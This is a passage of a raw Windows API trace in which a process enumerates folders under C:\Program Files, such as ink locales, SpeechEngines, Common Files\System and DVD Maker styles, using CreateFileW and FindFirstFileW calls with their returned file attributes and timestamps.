	[0050.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x123ed7ec | out: lpFindFileData=0x123ed7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.020] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.035] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.046] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.065] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
